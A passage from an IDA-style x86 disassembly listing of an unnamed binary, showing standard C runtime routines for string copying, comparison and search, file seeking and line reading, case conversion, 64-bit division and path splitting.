		jz	short loc_418C6A
		test	esi, 3
		jnz	short loc_418C34
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CA1

loc_418C50:				; CODE XREF: sub_418C10+8Fj
		and	ebx, 3
		jz	short loc_418C62

loc_418C55:				; CODE XREF: sub_418C10+22j
					; sub_418C10+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_418C8E
		dec	ebx
		jnz	short loc_418C55

loc_418C62:				; CODE XREF: sub_418C10+2Bj
					; sub_418C10+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C6A:				; CODE XREF: sub_418C10+2Fj
		test	edi, 3
		jz	short loc_418C84

loc_418C72:				; CODE XREF: sub_418C10+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418D06
		test	edi, 3
		jnz	short loc_418C72

loc_418C84:				; CODE XREF: sub_418C10+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418CF7

loc_418C8B:				; CODE XREF: sub_418C10+7Fj
					; sub_418C10+F4j
		mov	[edi], al
		inc	edi

loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi

loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50

loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx

loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01

loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax

loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9

loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B

loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A

loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi

loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------

loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h

loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_48A014, 16h
		or	eax, 0FFFFFFFFh

loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx

loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx

loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A

loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB

loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A

loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4

loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------

loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC

loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90

loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83

loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl

loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi

loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C

loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DDp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------

loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi

loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50

loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B

loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68

loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86

loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi

loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------

loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------

loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]

loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------

loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx

loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029

loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0

loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi

loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_48A0A8
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE

loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl

loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------

loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------

loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_4397AC, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------

loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162

loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------

loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------

loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232

loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------

loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF

loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi

loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi

loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; sub_40E6A9+F7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------

loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0

loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375

loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_48B561[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi

loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------

loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0

loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi

loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax

loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax

loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
